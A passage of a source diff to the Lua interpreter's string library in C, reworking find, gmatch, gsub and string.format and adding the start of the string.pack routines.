lp))) { /* do a plain search */ - const char *s2 = lmemfind(s + init - 1, ls - init + 1, p, lp); + const char *s2 = lmemfind(s + init, ls - init, p, lp); if (s2) { - lua_pushinteger(L, s2 - s + 1); - lua_pushinteger(L, s2 - s + lp); + lua_pushinteger(L, (s2 - s) + 1); + lua_pushinteger(L, (s2 - s) + lp); return 2; } } else { MatchState ms; - const char *s1 = s + init - 1; + const char *s1 = s + init; int anchor = (*p == '^'); if (anchor) { p++; lp--; /* skip anchor character */ } - ms.L = L; - ms.matchdepth = MAXCCALLS; - ms.src_init = s; - ms.src_end = s + ls; - ms.p_end = p + lp; + prepstate(&ms, L, s, ls, p, lp); do { const char *res; - ms.level = 0; - lua_assert(ms.matchdepth == MAXCCALLS); + reprepstate(&ms); if ((res = match(&ms, s1, p)) != NULL) { if (find) { - lua_pushinteger(L, s1 - s + 1); /* start */ + lua_pushinteger(L, (s1 - s) + 1); /* start */ lua_pushinteger(L, res - s); /* end */ return push_captures(&ms, NULL, 0) + 2; } else @@ -660,7 +848,7 @@ static int str_find_aux(lua_State *L, int find) { } } while (s1++ < ms.src_end && !anchor); } - lua_pushnil(L); /* not found */ + luaL_pushfail(L); /* not found */ return 1; } @@ -675,29 +863,25 @@ static int str_match(lua_State *L) { } +/* state for 'gmatch' */ +typedef struct GMatchState { + const char *src; /* current position */ + const char *p; /* pattern */ + const char *lastmatch; /* end of last match */ + MatchState ms; /* match state */ +} GMatchState; + + static int gmatch_aux(lua_State *L) { - MatchState ms; - size_t ls, lp; - const char *s = lua_tolstring(L, lua_upvalueindex(1), &ls); - const char *p = lua_tolstring(L, lua_upvalueindex(2), &lp); + GMatchState *gm = (GMatchState *)lua_touserdata(L, lua_upvalueindex(3)); const char *src; - ms.L = L; - ms.matchdepth = MAXCCALLS; - ms.src_init = s; - ms.src_end = s + ls; - ms.p_end = p + lp; - for (src = s + (size_t)lua_tointeger(L, lua_upvalueindex(3)); - src <= ms.src_end; - src++) { + gm->ms.L = L; + for (src = gm->src; src <= gm->ms.src_end; src++) { const char *e; - ms.level = 0; - lua_assert(ms.matchdepth == MAXCCALLS); - if ((e = match(&ms, src, p)) != NULL) { - lua_Integer newstart = e - s; - if (e == src) newstart++; /* empty match? go at least one position */ - lua_pushinteger(L, newstart); - lua_replace(L, lua_upvalueindex(3)); - return push_captures(&ms, src, e); + reprepstate(&gm->ms); + if ((e = match(&gm->ms, src, gm->p)) != NULL && e != gm->lastmatch) { + gm->src = gm->lastmatch = e; + return push_captures(&gm->ms, src, e); } } return 0; /* not found */ @@ -705,10 +889,19 @@ static int gmatch_aux(lua_State *L) { static int gmatch(lua_State *L) { - luaL_checkstring(L, 1); - luaL_checkstring(L, 2); - lua_settop(L, 2); - lua_pushinteger(L, 0); + size_t ls, lp; + const char *s = luaL_checklstring(L, 1, &ls); + const char *p = luaL_checklstring(L, 2, &lp); + size_t init = posrelatI(luaL_optinteger(L, 3, 1), ls) - 1; + GMatchState *gm; + lua_settop(L, 2); /* keep strings on closure to avoid being collected */ + gm = (GMatchState *)lua_newuserdatauv(L, sizeof(GMatchState), 0); + if (init > ls) /* start after string's end? */ + init = ls + 1; /* avoid overflows in 's + init' */ + prepstate(&gm->ms, L, s, ls, p, lp); + gm->src = s + init; + gm->p = p; + gm->lastmatch = NULL; lua_pushcclosure(L, gmatch_aux, 3); return 1; } @@ -716,100 +909,112 @@ static int gmatch(lua_State *L) { static void add_s(MatchState *ms, luaL_Buffer *b, const char *s, const char *e) { - size_t l, i; - const char *news = lua_tolstring(ms->L, 3, &l); - for (i = 0; i < l; i++) { - if (news[i] != L_ESC) - luaL_addchar(b, news[i]); - else { - i++; /* skip ESC */ - if (!isdigit(uchar(news[i]))) { - if (news[i] != L_ESC) - luaL_error(ms->L, "invalid use of " LUA_QL("%c") - " in replacement string", L_ESC); - luaL_addchar(b, news[i]); - } else if (news[i] == '0') - luaL_addlstring(b, s, e - s); - else { - push_onecapture(ms, news[i] - '1', s, e); - luaL_addvalue(b); /* add capture to accumulated result */ - } - } + size_t l; + lua_State *L = ms->L; + const char *news = lua_tolstring(L, 3, &l); + const char *p; + while ((p = (char *)memchr(news, L_ESC, l)) != NULL) { + luaL_addlstring(b, news, p - news); + p++; /* skip ESC */ + if (*p == L_ESC) /* '%%' */ + luaL_addchar(b, *p); + else if (*p == '0') /* '%0' */ + luaL_addlstring(b, s, e - s); + else if (isdigit(uchar(*p))) { /* '%n' */ + const char *cap; + ptrdiff_t resl = get_onecapture(ms, *p - '1', s, e, &cap); + if (resl == CAP_POSITION) + luaL_addvalue(b); /* add position to accumulated result */ + else + luaL_addlstring(b, cap, resl); + } else + luaL_error(L, "invalid use of '%c' in replacement string", L_ESC); + l -= p + 1 - news; + news = p + 1; } + luaL_addlstring(b, news, l); } -static void add_value(MatchState *ms, luaL_Buffer *b, const char *s, - const char *e, int tr) { +/* +** Add the replacement value to the string buffer 'b'. +** Return true if the original string was changed. (Function calls and +** table indexing resulting in nil or false do not change the subject.) +*/ +static int add_value(MatchState *ms, luaL_Buffer *b, const char *s, + const char *e, int tr) { lua_State *L = ms->L; switch (tr) { - case LUA_TFUNCTION: { + case LUA_TFUNCTION: { /* call the function */ int n; - lua_pushvalue(L, 3); - n = push_captures(ms, s, e); - lua_call(L, n, 1); + lua_pushvalue(L, 3); /* push the function */ + n = push_captures(ms, s, e); /* all captures as arguments */ + lua_call(L, n, 1); /* call it */ break; } - case LUA_TTABLE: { - push_onecapture(ms, 0, s, e); + case LUA_TTABLE: { /* index the table */ + push_onecapture(ms, 0, s, e); /* first capture is the index */ lua_gettable(L, 3); break; } default: { /* LUA_TNUMBER or LUA_TSTRING */ - add_s(ms, b, s, e); - return; + add_s(ms, b, s, e); /* add value to the buffer */ + return 1; /* something changed */ } } if (!lua_toboolean(L, -1)) { /* nil or false? */ - lua_pop(L, 1); - lua_pushlstring(L, s, e - s); /* keep original text */ - } else if (!lua_isstring(L, -1)) - luaL_error(L, "invalid replacement value (a %s)", luaL_typename(L, -1)); - luaL_addvalue(b); /* add result to accumulator */ + lua_pop(L, 1); /* remove value */ + luaL_addlstring(b, s, e - s); /* keep original text */ + return 0; /* no changes */ + } else if (l_unlikely(!lua_isstring(L, -1))) + return luaL_error(L, "invalid replacement value (a %s)", + luaL_typename(L, -1)); + else { + luaL_addvalue(b); /* add result to accumulator */ + return 1; /* something changed */ + } } static int str_gsub(lua_State *L) { size_t srcl, lp; - const char *src = luaL_checklstring(L, 1, &srcl); - const char *p = luaL_checklstring(L, 2, &lp); - int tr = lua_type(L, 3); - size_t max_s = luaL_optinteger(L, 4, srcl + 1); + const char *src = luaL_checklstring(L, 1, &srcl); /* subject */ + const char *p = luaL_checklstring(L, 2, &lp); /* pattern */ + const char *lastmatch = NULL; /* end of last match */ + int tr = lua_type(L, 3); /* replacement type */ + lua_Integer max_s = luaL_optinteger(L, 4, srcl + 1); /* max replacements */ int anchor = (*p == '^'); - size_t n = 0; + lua_Integer n = 0; /* replacement count */ + int changed = 0; /* change flag */ MatchState ms; luaL_Buffer b; - luaL_argcheck(L, tr == LUA_TNUMBER || tr == LUA_TSTRING || - tr == LUA_TFUNCTION || tr == LUA_TTABLE, 3, - "string/function/table expected"); + luaL_argexpected(L, tr == LUA_TNUMBER || tr == LUA_TSTRING || + tr == LUA_TFUNCTION || tr == LUA_TTABLE, 3, + "string/function/table"); luaL_buffinit(L, &b); if (anchor) { p++; lp--; /* skip anchor character */ } - ms.L = L; - ms.matchdepth = MAXCCALLS; - ms.src_init = src; - ms.src_end = src + srcl; - ms.p_end = p + lp; + prepstate(&ms, L, src, srcl, p, lp); while (n < max_s) { const char *e; - ms.level = 0; - lua_assert(ms.matchdepth == MAXCCALLS); - e = match(&ms, src, p); - if (e) { + reprepstate(&ms); /* (re)prepare state for new match */ + if ((e = match(&ms, src, p)) != NULL && e != lastmatch) { /* match? */ n++; - add_value(&ms, &b, src, e, tr); - } - if (e && e > src) /* non empty match? */ - src = e; /* skip it */ - else if (src < ms.src_end) + changed = add_value(&ms, &b, src, e, tr) | changed; + src = lastmatch = e; + } else if (src < ms.src_end) /* otherwise, skip one character */ luaL_addchar(&b, *src++); - else break; + else break; /* end of subject */ if (anchor) break; } - luaL_addlstring(&b, src, ms.src_end - src); - luaL_pushresult(&b); + if (!changed) /* no changes? */ + lua_pushvalue(L, 1); /* return original string */ + else { /* something changed */ + luaL_addlstring(&b, src, ms.src_end - src); + luaL_pushresult(&b); /* create and return new string */ + } lua_pushinteger(L, n); /* number of substitutions */ return 2; } @@ -824,64 +1029,144 @@ static int str_gsub(lua_State *L) { ** ======================================================= */ +#if !defined(lua_number2strx) /* { */ + /* -** LUA_INTFRMLEN is the length modifier for integer conversions in -** 'string.format'; LUA_INTFRM_T is the integer type corresponding to -** the previous length +** Hexadecimal floating-point formatter */ -#if !defined(LUA_INTFRMLEN) /* { */ -#if defined(LUA_USE_LONGLONG) -#define LUA_INTFRMLEN "ll" -#define LUA_INTFRM_T long long - -#else - -#define LUA_INTFRMLEN "l" -#define LUA_INTFRM_T long - -#endif -#endif /* } */ +#define SIZELENMOD (sizeof(LUA_NUMBER_FRMLEN)/sizeof(char)) /* -** LUA_FLTFRMLEN is the length modifier for float conversions in -** 'string.format'; LUA_FLTFRM_T is the float type corresponding to -** the previous length +** Number of bits that goes into the first digit. It can be any value +** between 1 and 4; the following definition tries to align the number +** to nibble boundaries by making what is left after that first digit a +** multiple of 4. */ -#if !defined(LUA_FLTFRMLEN) - -#define LUA_FLTFRMLEN "" -#define LUA_FLTFRM_T double - -#endif +#define L_NBFD ((l_floatatt(MANT_DIG) - 1)%4 + 1) + + +/* +** Add integer part of 'x' to buffer and return new 'x' +*/ +static lua_Number adddigit(char *buff, int n, lua_Number x) { + lua_Number dd = l_mathop(floor)(x); /* get integer part from 'x' */ + int d = (int)dd; + buff[n] = (d < 10 ? d + '0' : d - 10 + 'a'); /* add to buffer */ + return x - dd; /* return what is left */ +} + + +static int num2straux(char *buff, int sz, lua_Number x) { + /* if 'inf' or 'NaN', format it like '%g' */ + if (x != x || x == (lua_Number)HUGE_VAL || x == -(lua_Number)HUGE_VAL) + return l_sprintf(buff, sz, LUA_NUMBER_FMT, (LUAI_UACNUMBER)x); + else if (x == 0) { /* can be -0... */ + /* create "0" or "-0" followed by exponent */ + return l_sprintf(buff, sz, LUA_NUMBER_FMT "x0p+0", (LUAI_UACNUMBER)x); + } else { + int e; + lua_Number m = l_mathop(frexp)(x, &e); /* 'x' fraction and exponent */ + int n = 0; /* character count */ + if (m < 0) { /* is number negative? */ + buff[n++] = '-'; /* add sign */ + m = -m; /* make it positive */ + } + buff[n++] = '0'; + buff[n++] = 'x'; /* add "0x" */ + m = adddigit(buff, n++, m * (1 << L_NBFD)); /* add first digit */ + e -= L_NBFD; /* this digit goes before the radix point */ + if (m > 0) { /* more digits? */ + buff[n++] = lua_getlocaledecpoint(); /* add radix point */ + do { /* add as many digits as needed */ + m = adddigit(buff, n++, m * 16); + } while (m > 0); + } + n += l_sprintf(buff + n, sz - n, "p%+d", e); /* add exponent */ + lua_assert(n < sz); + return n; + } +} + + +static int lua_number2strx(lua_State *L, char *buff, int sz, + const char *fmt, lua_Number x) { + int n = num2straux(buff, sz, x); + if (fmt[SIZELENMOD] == 'A') { + int i; + for (i = 0; i < n; i++) + buff[i] = toupper(uchar(buff[i])); + } else if (l_unlikely(fmt[SIZELENMOD] != 'a')) + return luaL_error(L, "modifiers for format '%%a'/'%%A' not implemented"); + return n; +} + +#endif /* } */ + + +/* +** Maximum size for items formatted with '%f'. This size is produced +** by format('%.99f', -maxfloat), and is equal to 99 + 3 ('-', '.', +** and '\0') + number of decimal digits to represent maxfloat (which +** is maximum exponent + 1). (99+3+1, adding some extra, 110) +*/ +#define MAX_ITEMF (110 + l_floatatt(MAX_10_EXP)) + + +/* +** All formats except '%f' do not need that large limit. The other +** float formats use exponents, so that they fit in the 99 limit for +** significant digits; 's' for large strings and 'q' add items directly +** to the buffer; all integer formats also fit in the 99 limit. The +** worst case are floats: they may need 99 significant digits, plus +** '0x', '-', '.', 'e+XXXX', and '\0'. Adding some extra, 120. +*/ +#define MAX_ITEM 120 -/* maximum size of each formatted item (> len(format('%99.99f', -1e308))) */ -#define MAX_ITEM 512 /* valid flags in a format specification */ -#define FLAGS "-+ #0" +#if !defined(L_FMTFLAGSF) + +/* valid flags for a, A, e, E, f, F, g, and G conversions */ +#define L_FMTFLAGSF "-+#0 " + +/* valid flags for o, x, and X conversions */ +#define L_FMTFLAGSX "-#0" + +/* valid flags for d and i conversions */ +#define L_FMTFLAGSI "-+0 " + +/* valid flags for u conversions */ +#define L_FMTFLAGSU "-0" + +/* valid flags for c, p, and s conversions */ +#define L_FMTFLAGSC "-" + +#endif + + /* -** maximum size of each format specification (such as '%-099.99d') -** (+10 accounts for %99.99x plus margin of error) +** Maximum size of each format specification (such as "%-099.99d"): +** Initial '%', flags (up to 5), width (2), period, precision (2), +** length modifier (8), conversion specifier, and final '\0', plus some +** extra. */ -#define MAX_FORMAT (sizeof(FLAGS) + sizeof(LUA_INTFRMLEN) + 10) +#define MAX_FORMAT 32 -static void addquoted(lua_State *L, luaL_Buffer *b, int arg) { - size_t l; - const char *s = luaL_checklstring(L, arg, &l); +static void addquoted(luaL_Buffer *b, const char *s, size_t len) { luaL_addchar(b, '"'); - while (l--) { + while (len--) { if (*s == '"' || *s == '\\' || *s == '\n') { luaL_addchar(b, '\\'); luaL_addchar(b, *s); - } else if (*s == '\0' || iscntrl(uchar(*s))) { + } else if (iscntrl(uchar(*s))) { char buff[10]; if (!isdigit(uchar(*(s + 1)))) - snprintf(buff, sizeof(buff), "\\%d", (int)uchar(*s)); + l_sprintf(buff, sizeof(buff), "\\%d", (int)uchar(*s)); else - snprintf(buff, sizeof(buff), "\\%03d", (int)uchar(*s)); + l_sprintf(buff, sizeof(buff), "\\%03d", (int)uchar(*s)); luaL_addstring(b, buff); } else luaL_addchar(b, *s); @@ -890,25 +1175,120 @@ static void addquoted(lua_State *L, luaL_Buffer *b, int arg) { luaL_addchar(b, '"'); } -static const char *scanformat(lua_State *L, const char *strfrmt, char *form) { - const char *p = strfrmt; - while (*p != '\0' && strchr(FLAGS, *p) != NULL) p++; /* skip flags */ - if ((size_t)(p - strfrmt) >= sizeof(FLAGS) / sizeof(char)) - luaL_error(L, "invalid format (repeated flags)"); - if (isdigit(uchar(*p))) p++; /* skip width */ - if (isdigit(uchar(*p))) p++; /* (2 digits at most) */ - if (*p == '.') { - p++; - if (isdigit(uchar(*p))) p++; /* skip precision */ - if (isdigit(uchar(*p))) p++; /* (2 digits at most) */ + +/* +** Serialize a floating-point number in such a way that it can be +** scanned back by Lua. Use hexadecimal format for "common" numbers +** (to preserve precision); inf, -inf, and NaN are handled separately. +** (NaN cannot be expressed as a numeral, so we write '(0/0)' for it.) +*/ +static int quotefloat(lua_State *L, char *buff, lua_Number n) { + const char *s; /* for the fixed representations */ + if (n == (lua_Number)HUGE_VAL) /* inf? */ + s = "1e9999"; + else if (n == -(lua_Number)HUGE_VAL) /* -inf? */ + s = "-1e9999"; + else if (n != n) /* NaN? */ + s = "(0/0)"; + else { /* format number as hexadecimal */ + int nb = lua_number2strx(L, buff, MAX_ITEM, + "%" LUA_NUMBER_FRMLEN "a", n); + /* ensures that 'buff' string uses a dot as the radix character */ + if (memchr(buff, '.', nb) == NULL) { /* no dot? */ + char point = lua_getlocaledecpoint(); /* try locale point */ + char *ppoint = (char *)memchr(buff, point, nb); + if (ppoint) *ppoint = '.'; /* change it to a dot */ + } + return nb; } - if (isdigit(uchar(*p))) - luaL_error(L, "invalid format (width or precision too long)"); + /* for the fixed representations */ + return l_sprintf(buff, MAX_ITEM, "%s", s); +} + + +static void addliteral(lua_State *L, luaL_Buffer *b, int arg) { + switch (lua_type(L, arg)) { + case LUA_TSTRING: { + size_t len; + const char *s = lua_tolstring(L, arg, &len); + addquoted(b, s, len); + break; + } + case LUA_TNUMBER: { + char *buff = luaL_prepbuffsize(b, MAX_ITEM); + int nb; + if (!lua_isinteger(L, arg)) /* float? */ + nb = quotefloat(L, buff, lua_tonumber(L, arg)); + else { /* integers */ + lua_Integer n = lua_tointeger(L, arg); + const char *format = (n == LUA_MININTEGER) /* corner case? */ + ? "0x%" LUA_INTEGER_FRMLEN "x" /* use hex */ + : LUA_INTEGER_FMT; /* else use default format */ + nb = l_sprintf(buff, MAX_ITEM, format, (LUAI_UACINT)n); + } + luaL_addsize(b, nb); + break; + } + case LUA_TNIL: + case LUA_TBOOLEAN: { + luaL_tolstring(L, arg, NULL); + luaL_addvalue(b); + break; + } + default: { + luaL_argerror(L, arg, "value has no literal form"); + } + } +} + + +static const char *get2digits(const char *s) { + if (isdigit(uchar(*s))) { + s++; + if (isdigit(uchar(*s))) s++; /* (2 digits at most) */ + } + return s; +} + + +/* +** Check whether a conversion specification is valid. When called, +** first character in 'form' must be '%' and last character must +** be a valid conversion specifier. 'flags' are the accepted flags; +** 'precision' signals whether to accept a precision. +*/ +static void checkformat(lua_State *L, const char *form, const char *flags, + int precision) { + const char *spec = form + 1; /* skip '%' */ + spec += strspn(spec, flags); /* skip flags */ + if (*spec != '0') { /* a width cannot start with '0' */ + spec = get2digits(spec); /* skip width */ + if (*spec == '.' && precision) { + spec++; + spec = get2digits(spec); /* skip precision */ + } + } + if (!isalpha(uchar(*spec))) /* did not go to the end? */ + luaL_error(L, "invalid conversion specification: '%s'", form); +} + + +/* +** Get a conversion specification and copy it to 'form'. +** Return the address of its last character. +*/ +static const char *getformat(lua_State *L, const char *strfrmt, + char *form) { + /* spans flags, width, and precision ('0' is included as a flag) */ + size_t len = strspn(strfrmt, L_FMTFLAGSF "123456789."); + len++; /* adds following character (should be the specifier) */ + /* still needs space for '%', '\0', plus a length modifier */ + if (len >= MAX_FORMAT - 10) + luaL_error(L, "invalid format (too long)"); *(form++) = '%'; - memcpy(form, strfrmt, (p - strfrmt + 1) * sizeof(char)); - form += p - strfrmt + 1; - *form = '\0'; - return p; + memcpy(form, strfrmt, len * sizeof(char)); + *(form + len) = '\0'; + return strfrmt + len - 1; } @@ -931,6 +1311,7 @@ static int str_format(lua_State *L) { size_t sfl; const char *strfrmt = luaL_checklstring(L, arg, &sfl); const char *strfrmt_end = strfrmt + sfl; + const char *flags; luaL_Buffer b; luaL_buffinit(L, &b); while (strfrmt < strfrmt_end) { @@ -939,77 +1320,97 @@ static int str_format(lua_State *L) { else if (*++strfrmt == L_ESC) luaL_addchar(&b, *strfrmt++); /* %% */ else { /* format item */ - char form[MAX_FORMAT]; /* to store the format (`%...') */ - char *buff = luaL_prepbuffsize(&b, MAX_ITEM); /* to put formatted item */ - int nb = 0; /* number of bytes in added item */ + char form[MAX_FORMAT]; /* to store the format ('%...') */ + int maxitem = MAX_ITEM; /* maximum length for the result */ + char *buff = luaL_prepbuffsize(&b, maxitem); /* to put result */ + int nb = 0; /* number of bytes in result */ if (++arg > top) - luaL_argerror(L, arg, "no value"); - strfrmt = scanformat(L, strfrmt, form); + return luaL_argerror(L, arg, "no value"); + strfrmt = getformat(L, strfrmt, form); switch (*strfrmt++) { case 'c': { - nb = snprintf(buff, MAX_ITEM, form, luaL_checkint(L, arg)); + checkformat(L, form, L_FMTFLAGSC, 0); + nb = l_sprintf(buff, maxitem, form, (int)luaL_checkinteger(L, arg)); break; } case 'd': - case 'i': { - lua_Number n = luaL_checknumber(L, arg); - LUA_INTFRM_T ni = (LUA_INTFRM_T)n; - lua_Number diff = n - (lua_Number)ni; - luaL_argcheck(L, -1 < diff && diff < 1, arg, - "not a number in proper range"); - addlenmod(form, LUA_INTFRMLEN); - nb = snprintf(buff, MAX_ITEM, form, ni); - break; - } - case 'o': + case 'i': + flags = L_FMTFLAGSI; + goto intcase; case 'u': + flags = L_FMTFLAGSU; + goto intcase; + case 'o': case 'x': - case 'X': { - lua_Number n = luaL_checknumber(L, arg); - unsigned LUA_INTFRM_T ni = (unsigned LUA_INTFRM_T)n; - lua_Number diff = n - (lua_Number)ni; - luaL_argcheck(L, -1 < diff && diff < 1, arg, - "not a non-negative number in proper range"); - addlenmod(form, LUA_INTFRMLEN); - nb = snprintf(buff, MAX_ITEM, form, ni); - break; - } - case 'e': - case 'E': - case 'f': -#if defined(LUA_USE_AFORMAT) + case 'X': + flags = L_FMTFLAGSX; +intcase: { + lua_Integer n = luaL_checkinteger(L, arg); + checkformat(L, form, flags, 1); + addlenmod(form, LUA_INTEGER_FRMLEN); + nb = l_sprintf(buff, maxitem, form, (LUAI_UACINT)n); + break; + } case 'a': case 'A': -#endif + checkformat(L, form, L_FMTFLAGSF, 1); + addlenmod(form, LUA_NUMBER_FRMLEN); + nb = lua_number2strx(L, buff, maxitem, form, + luaL_checknumber(L, arg)); + break; + case 'f': + maxitem = MAX_ITEMF; /* extra space for '%f' */ + buff = luaL_prepbuffsize(&b, maxitem); + /* FALLTHROUGH */ + case 'e': + case 'E': case 'g': case 'G': { - addlenmod(form, LUA_FLTFRMLEN); - nb = snprintf(buff, MAX_ITEM, form, (LUA_FLTFRM_T)luaL_checknumber(L, arg)); + lua_Number n = luaL_checknumber(L, arg); + checkformat(L, form, L_FMTFLAGSF, 1); + addlenmod(form, LUA_NUMBER_FRMLEN); + nb = l_sprintf(buff, maxitem, form, (LUAI_UACNUMBER)n); + break; + } + case 'p': { + const void *p = lua_topointer(L, arg); + checkformat(L, form, L_FMTFLAGSC, 0); + if (p == NULL) { /* avoid calling 'printf' with argument NULL */ + p = "(null)"; /* result */ + form[strlen(form) - 1] = 's'; /* format it as a string */ + } + nb = l_sprintf(buff, maxitem, form, p); break; } case 'q': { - addquoted(L, &b, arg); + if (form[2] != '\0') /* modifiers? */ + return luaL_error(L, "specifier '%%q' cannot have modifiers"); + addliteral(L, &b, arg); break; } case 's': { size_t l; const char *s = luaL_tolstring(L, arg, &l); - if (!strchr(form, '.') && l >= 100) { - /* no precision and string is too long to be formatted; - keep original string */ - luaL_addvalue(&b); - break; - } else { - nb = snprintf(buff, MAX_ITEM, form, s); - lua_pop(L, 1); /* remove result from 'luaL_tolstring' */ - break; + if (form[2] == '\0') /* no modifiers? */ + luaL_addvalue(&b); /* keep entire string */ + else { + luaL_argcheck(L, l == strlen(s), arg, "string contains zeros"); + checkformat(L, form, L_FMTFLAGSC, 1); + if (strchr(form, '.') == NULL && l >= 100) { + /* no precision and string is too long to be formatted */ + luaL_addvalue(&b); /* keep entire string */ + } else { /* format the string into 'buff' */ + nb = l_sprintf(buff, maxitem, form, s); + lua_pop(L, 1); /* remove result from 'luaL_tolstring' */ + } } + break; } - default: { /* also treat cases `pnLlh' */ - return luaL_error(L, "invalid option " LUA_QL("%%%c") " to " - LUA_QL("format"), *(strfrmt - 1)); + default: { /* also treat cases 'pnLlh' */ + return luaL_error(L, "invalid conversion '%s' to 'format'", form); } } + lua_assert(nb < maxitem); luaL_addsize(&b, nb); } } @@ -1020,6 +1421,498 @@ static int str_format(lua_State *L) { /* }====================================================== */ +/* +** {====================================================== +** PACK/UNPACK +** ======================================================= +*/ + + +/* value used for padding */ +#if !defined(LUAL_PACKPADBYTE) +#define LUAL_PACKPADBYTE 0x00 +#endif + +/* maximum size for the binary representation of an integer */ +#define MAXINTSIZE 16 + +/* number of bits in a character */ +#define NB CHAR_BIT + +/* mask for one character (NB 1's) */ +#define MC ((1 << NB) - 1) + +/* size of a lua_Integer */ +#define SZINT ((int)sizeof(lua_Integer)) + + +/* dummy union to get native endianness */ +static const union { + int dummy; + char little; /* true iff machine is little endian */ +} nativeendian = {1}; + + +/* +** information to pack/unpack stuff +*/ +typedef struct Header { + lua_State *L; + int islittle; + int maxalign; +} Header; + + +/* +** options for pack/unpack +*/ +typedef enum KOption { + Kint, /* signed integers */ + Kuint, /* unsigned integers */ + Kfloat, /* single-precision floating-point numbers */ + Knumber, /* Lua "native" floating-point numbers */ + Kdouble, /* double-precision floating-point numbers */ + Kchar, /* fixed-length strings */ + Kstring, /* strings with prefixed length */ + Kzstr, /* zero-terminated strings */ + Kpadding, /* padding */ + Kpaddalign, /* padding for alignment */ + Knop /* no-op (configuration or spaces) */ +} KOption; + + +/* +** Read an integer numeral from string 'fmt' or return 'df' if +** there is no numeral +*/ +static int digit(int c) { return '0' <= c && c <= '9'; } + +static int getnum(const char **fmt, int df) { + if (!digit(**fmt)) /* no number? */ + return df; /* return default value */ + else { + int a = 0; + do { + a = a * 10 + (*((*fmt)++) - '0'); + } while (digit(**fmt) && a <= ((int)MAXSIZE - 9) / 10); + return a; + } +} + + +/* +** Read an integer numeral and raises an error if it is larger +** than the maximum size for integers. +*/ +static int getnumlimit(Header *h, const char **fmt, int df) { + int sz = getnum(fmt, df); + if (l_unlikely(sz > MAXINTSIZE || sz <= 0)) + return luaL_error(h->L, "integral size (%d) out of limits [1,%d]", + sz, MAXINTSIZE); + return sz; +} + + +/* +** Initialize Header +*/ +static void initheader(lua_State *L, Header *h) { + h->L = L; + h->islittle = nativeendian.little; + h->maxalign = 1; +} + + +/* +** Read and classify next option. 'size' is filled with option's size. +*/ +static KOption getoption(Header *h, const char **fmt, int *size) { + /* dummy structure to get native alignment requirements */ + struct cD { char c; union { LUAI_MAXALIGN; } u; }; + int opt = *((*fmt)++); + *size = 0; /* default */ + switch (opt) { + case 'b': + *size = sizeof(char); + return Kint; + case 'B': + *size = sizeof(char); + return Kuint; + case 'h': + *size = sizeof(short); + return Kint; + case 'H': + *size = sizeof(short); + return Kuint; + case 'l': + *size = sizeof(long); + return Kint; + case 'L': + *size = sizeof(long); + return Kuint; + case 'j': + *size = sizeof(lua_Integer); + return Kint; + case 'J': + *size = sizeof(lua_Integer); + return Kuint; + case 'T': + *size = sizeof(size_t); + return Kuint; + case 'f': + *size = sizeof(float); + return Kfloat; + case 'n': + *size = sizeof(lua_Number); + return Knumber; + case 'd': + *size = sizeof(double); + return Kdouble; + case 'i': + *size = getnumlimit(h, fmt, sizeof(int)); + return Kint; + case 'I': + *size = getnumlimit(h, fmt, sizeof(int)); + return Kuint; + case 's': + *size = getnumlimit(h, fmt, sizeof(size_t)); + return Kstring; + case 'c': + *size = getnum(fmt, -1); + if (l_unlikely(*size == -1)) + luaL_error(h->L, "missing size for format option 'c'"); + return Kchar; + case 'z': + return Kzstr; + case 'x': + *size = 1; + return Kpadding; + case 'X': + return Kpaddalign; + case ' ': + break; + case '<': + h->islittle = 1; + break; + case '>': + h->islittle = 0; + break; + case '=': + h->islittle = nativeendian.little; + break; + case '!': { + const int maxalign = offsetof(struct cD, u); + h->maxalign = getnumlimit(h, fmt, maxalign); + break; + } + default: + luaL_error(h->L, "invalid format option '%c'", opt); + } + return Knop; +} + + +/* +** Read, classify, and fill other details about the next option. +** 'psize' is filled with option's size, 'notoalign' with its +** alignment requirements. +** Local variable 'size' gets the size to be aligned. (Kpadal option +** always gets its full alignment, other options are limited by +** the maximum alignment ('maxalign'). Kchar option needs no alignment +** despite its size. +*/ +static KOption getdetails(Header *h, size_t totalsize, + const char **fmt, int *psize, int *ntoalign) { + KOption opt = getoption(h, fmt, psize); + int align = *psize; /* usually, alignment follows size */ + if (opt == Kpaddalign) { /* 'X' gets alignment from following option */ + if (**fmt == '\0' || getoption(h, fmt, &align) == Kchar || align == 0) + luaL_argerror(h->L, 1, "invalid next option for option 'X'"); + } + if (align <= 1 || opt == Kchar) /* need no alignment? */ + *ntoalign = 0; + else { + if (align > h->maxalign) /* enforce maximum alignment */ + align = h->maxalign; + if (l_unlikely((align & (align - 1)) != 0)) /* not a power of 2? */ + luaL_argerror(h->L, 1, "format asks for alignment not power of 2"); + *ntoalign = (align - (int)(totalsize & (align - 1))) & (align - 1); + } + return opt; +} + + +/* +** Pack integer 'n' with 'size' bytes and 'islittle' endianness. +** The final 'if' handles the case when 'size' is larger than +** the size of a Lua integer, correcting the extra sign-extension +** bytes if necessary (by default they would be zeros). +*/ +static void packint(luaL_Buffer *b, lua_Unsigned n, + int islittle, int size, int neg) { + char *buff = luaL_prepbuffsize(b, size); + int i; + buff[islittle ? 0 : size - 1] = (char)(n & MC); /* first byte */ + for (i = 1; i < size; i++) { + n >>= NB; + buff[islittle ? i : size - 1 - i] = (char)(n & MC); + } + if (neg && size > SZINT) { /* negative number need sign extension? */ + for (i = SZINT; i < size; i++) /* correct extra bytes */ + buff[islittle ? i : size - 1 - i] = (char)MC; + } + luaL_addsize(b, size); /* add result to buffer */ +} + + +/* +** Copy 'size' bytes from 'src' to 'dest', correcting endianness if +** given 'islittle' is different from native endianness. +*/ +static void copywithendian(char *dest, const char *src, + int size, int islittle) { + if (islittle == nativeendian.little) + memcpy(dest, src, size); + else { + dest += size - 1; + while (size-- != 0) + *(dest--) = *(src++); + } +} + + +static int str_pack(lua_State *L) { + luaL_Buffer b; + Header h; + const char *fmt = luaL_checkstring(L, 1); /* format string */ + int arg = 1; /* current argument to pack */ + size_t totalsize = 0; /* accumulate total size of result */ + initheader(L, &h); + lua_pushnil(L); /* mark to separate arguments from string buffer */ + luaL_buffinit(L, &b); + while (*fmt != '\0') { + int size, ntoalign; + KOption opt = getdetails(&h, totalsize, &fmt, &size, &ntoalign); + totalsize += ntoalign + size; + while (ntoalign-- > 0) + luaL_addchar(&b, LUAL_PACKPADBYTE); /* fill alignment */ + arg++; + switch (opt) { + case Kint: { /* signed integers */ + lua_Integer n = luaL_checkinteger(L, arg); + if (size < SZINT) { /* need overflow check? */ + lua_Integer lim = (lua_Integer)1 << ((size * NB) - 1); + luaL_argcheck(L, -lim <= n && n < lim, arg, "integer overflow"); + } + packint(&b, (lua_Unsigned)n, h.islittle, size, (n < 0)); + break; + } + case Kuint: { /* unsigned integers */ + lua_Integer n = luaL_checkinteger(L, 